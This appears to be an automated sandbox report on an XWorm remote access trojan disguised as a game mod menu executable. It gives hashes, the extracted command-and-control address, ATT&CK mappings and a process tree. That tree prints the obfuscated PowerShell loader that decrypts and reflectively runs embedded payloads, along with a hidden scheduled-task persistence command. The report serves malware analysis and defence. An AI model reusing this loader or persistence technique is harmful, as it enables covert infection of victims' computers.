xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
92s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14/05/2024, 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/4924-77-0x0000000007AC0000-0x0000000007ACE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	4924	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1764	powershell.exe
3812	powershell.exe
4924	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	kiddionsmodmenu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1764	powershell.exe
1764	powershell.exe
3812	powershell.exe
3812	powershell.exe
4924	powershell.exe
4924	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeIncreaseQuotaPrivilege	3812	powershell.exe
Token: SeSecurityPrivilege	3812	powershell.exe
Token: SeTakeOwnershipPrivilege	3812	powershell.exe
Token: SeLoadDriverPrivilege	3812	powershell.exe
Token: SeSystemProfilePrivilege	3812	powershell.exe
Token: SeSystemtimePrivilege	3812	powershell.exe
Token: SeProfSingleProcessPrivilege	3812	powershell.exe
Token: SeIncBasePriorityPrivilege	3812	powershell.exe
Token: SeCreatePagefilePrivilege	3812	powershell.exe
Token: SeBackupPrivilege	3812	powershell.exe
Token: SeRestorePrivilege	3812	powershell.exe
Token: SeShutdownPrivilege	3812	powershell.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeSystemEnvironmentPrivilege	3812	powershell.exe
Token: SeRemoteShutdownPrivilege	3812	powershell.exe
Token: SeUndockPrivilege	3812	powershell.exe
Token: SeManageVolumePrivilege	3812	powershell.exe
Token: 33	3812	powershell.exe
Token: 34	3812	powershell.exe
Token: 35	3812	powershell.exe
Token: 36	3812	powershell.exe
Token: SeIncreaseQuotaPrivilege	3812	powershell.exe
Token: SeSecurityPrivilege	3812	powershell.exe
Token: SeTakeOwnershipPrivilege	3812	powershell.exe
Token: SeLoadDriverPrivilege	3812	powershell.exe
Token: SeSystemProfilePrivilege	3812	powershell.exe
Token: SeSystemtimePrivilege	3812	powershell.exe
Token: SeProfSingleProcessPrivilege	3812	powershell.exe
Token: SeIncBasePriorityPrivilege	3812	powershell.exe
Token: SeCreatePagefilePrivilege	3812	powershell.exe
Token: SeBackupPrivilege	3812	powershell.exe
Token: SeRestorePrivilege	3812	powershell.exe
Token: SeShutdownPrivilege	3812	powershell.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeSystemEnvironmentPrivilege	3812	powershell.exe
Token: SeRemoteShutdownPrivilege	3812	powershell.exe
Token: SeUndockPrivilege	3812	powershell.exe
Token: SeManageVolumePrivilege	3812	powershell.exe
Token: 33	3812	powershell.exe
Token: 34	3812	powershell.exe
Token: 35	3812	powershell.exe
Token: 36	3812	powershell.exe
Token: SeIncreaseQuotaPrivilege	3812	powershell.exe
Token: SeSecurityPrivilege	3812	powershell.exe
Token: SeTakeOwnershipPrivilege	3812	powershell.exe
Token: SeLoadDriverPrivilege	3812	powershell.exe
Token: SeSystemProfilePrivilege	3812	powershell.exe
Token: SeSystemtimePrivilege	3812	powershell.exe
Token: SeProfSingleProcessPrivilege	3812	powershell.exe
Token: SeIncBasePriorityPrivilege	3812	powershell.exe
Token: SeCreatePagefilePrivilege	3812	powershell.exe
Token: SeBackupPrivilege	3812	powershell.exe
Token: SeRestorePrivilege	3812	powershell.exe
Token: SeShutdownPrivilege	3812	powershell.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeSystemEnvironmentPrivilege	3812	powershell.exe
Token: SeRemoteShutdownPrivilege	3812	powershell.exe
Token: SeUndockPrivilege	3812	powershell.exe
Token: SeManageVolumePrivilege	3812	powershell.exe
Token: 33	3812	powershell.exe
Token: 34	3812	powershell.exe
Token: 35	3812	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3288 wrote to memory of 1124	3288	kiddionsmodmenu.exe	82
PID 3288 wrote to memory of 1124	3288	kiddionsmodmenu.exe	82
PID 3288 wrote to memory of 1124	3288	kiddionsmodmenu.exe	82
PID 1124 wrote to memory of 1592	1124	cmd.exe	88
PID 1124 wrote to memory of 1592	1124	cmd.exe	88
PID 1124 wrote to memory of 1592	1124	cmd.exe	88
PID 1124 wrote to memory of 1764	1124	cmd.exe	89
PID 1124 wrote to memory of 1764	1124	cmd.exe	89
PID 1124 wrote to memory of 1764	1124	cmd.exe	89
PID 1764 wrote to memory of 3812	1764	powershell.exe	93
PID 1764 wrote to memory of 3812	1764	powershell.exe	93
PID 1764 wrote to memory of 3812	1764	powershell.exe	93
PID 1764 wrote to memory of 2508	1764	powershell.exe	96
PID 1764 wrote to memory of 2508	1764	powershell.exe	96
PID 1764 wrote to memory of 2508	1764	powershell.exe	96
PID 2508 wrote to memory of 4776	2508	WScript.exe	97
PID 2508 wrote to memory of 4776	2508	WScript.exe	97
PID 2508 wrote to memory of 4776	2508	WScript.exe	97
PID 4776 wrote to memory of 3572	4776	cmd.exe	99
PID 4776 wrote to memory of 3572	4776	cmd.exe	99
PID 4776 wrote to memory of 3572	4776	cmd.exe	99
PID 4776 wrote to memory of 4924	4776	cmd.exe	100
PID 4776 wrote to memory of 4924	4776	cmd.exe	100
PID 4776 wrote to memory of 4924	4776	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3288
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS49DA.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS49DA.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1592
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_117_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_117.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3812
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_117.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2508
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_117.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4776
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_117.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3572
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
55d32bc1c206428fe659912b361362de

SHA1
7056271e5cf73b03bafc4e616a0bc5a4cffc810f

SHA256
37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff

SHA512
2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
20KB

MD5
7144f617c9ac304b432a68d8ea4f37d4

SHA1
695dd7a6a1bc786c6609a2ad5fda610523925068

SHA256
5cd432488309e5764b44e8659523b42cf1bcc875cd00907ec6a298143515495a

SHA512
79e9f7ed49b03ac041b043cb58034aeb14b342e47de93a9facde426f38cff0ddd582d82c92274b86f609621c8c7fb64e5f6336b53af8cd99caef51cf295e49c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS49DA.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t11esyt2.1ir.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_117.vbs

Filesize
115B

MD5
2f5b779643b2ce6529f05966c70f1782

SHA1
246b8cd3ebd3eba5ddf7a022c937716d0aa01ea9

SHA256
9e38525ee7745e386dcc2a36808f0f7d20b590ef07d0c8fdff509289b30f9f56

SHA512
109aa3e3f5ed85c45e16e4af27c6103d63c3070872587c70c431b226a3364ce31e7cc877450c9e4acc1bf6753d9862f26c928c9cf3fe7d1f4a88f8007121980f

Download Submit
memory/1764-28-0x0000000007790000-0x0000000007798000-memory.dmp

Filesize
32KB

Download
memory/1764-30-0x0000000008900000-0x0000000008EA4000-memory.dmp

Filesize
5.6MB

Download
memory/1764-11-0x0000000005D70000-0x0000000005DD6000-memory.dmp

Filesize
408KB

Download
memory/1764-9-0x0000000005420000-0x0000000005442000-memory.dmp

Filesize
136KB

Download
memory/1764-17-0x0000000005DE0000-0x0000000006134000-memory.dmp

Filesize
3.3MB

Download
memory/1764-22-0x00000000062F0000-0x000000000630E000-memory.dmp

Filesize
120KB

Download
memory/1764-23-0x0000000006320000-0x000000000636C000-memory.dmp

Filesize
304KB

Download
memory/1764-24-0x0000000007470000-0x00000000074B4000-memory.dmp

Filesize
272KB

Download
memory/1764-25-0x00000000075D0000-0x0000000007646000-memory.dmp

Filesize
472KB

Download
memory/1764-26-0x0000000007CD0000-0x000000000834A000-memory.dmp

Filesize
6.5MB

Download
memory/1764-27-0x0000000007670000-0x000000000768A000-memory.dmp

Filesize
104KB

Download
memory/1764-7-0x0000000072DD0000-0x0000000073580000-memory.dmp

Filesize
7.7MB

Download
memory/1764-29-0x00000000077B0000-0x00000000077CE000-memory.dmp

Filesize
120KB

Download
memory/1764-10-0x0000000005D00000-0x0000000005D66000-memory.dmp

Filesize
408KB

Download
memory/1764-76-0x0000000072DD0000-0x0000000073580000-memory.dmp

Filesize
7.7MB

Download
memory/1764-5-0x0000000072DDE000-0x0000000072DDF000-memory.dmp

Filesize
4KB

Download
memory/1764-6-0x0000000002DF0000-0x0000000002E26000-memory.dmp

Filesize
216KB

Download
memory/1764-8-0x00000000054E0000-0x0000000005B08000-memory.dmp

Filesize
6.2MB

Download
memory/3812-54-0x0000000007B20000-0x0000000007B2A000-memory.dmp

Filesize
40KB

Download
memory/3812-55-0x0000000007D40000-0x0000000007DD6000-memory.dmp

Filesize
600KB

Download
memory/3812-56-0x0000000007CB0000-0x0000000007CC1000-memory.dmp

Filesize
68KB

Download
memory/3812-53-0x0000000007980000-0x0000000007A23000-memory.dmp

Filesize
652KB

Download
memory/3812-52-0x0000000006DA0000-0x0000000006DBE000-memory.dmp

Filesize
120KB

Download
memory/3812-42-0x000000006F660000-0x000000006F6AC000-memory.dmp

Filesize
304KB

Download
memory/3812-41-0x0000000006D60000-0x0000000006D92000-memory.dmp

Filesize
200KB

Download
memory/4924-77-0x0000000007AC0000-0x0000000007ACE000-memory.dmp

Filesize
56KB

Download
memory/4924-78-0x0000000007BC0000-0x0000000007C5C000-memory.dmp

Filesize
624KB

Download
memory/4924-80-0x00000000087A0000-0x0000000008832000-memory.dmp

Filesize
584KB

Download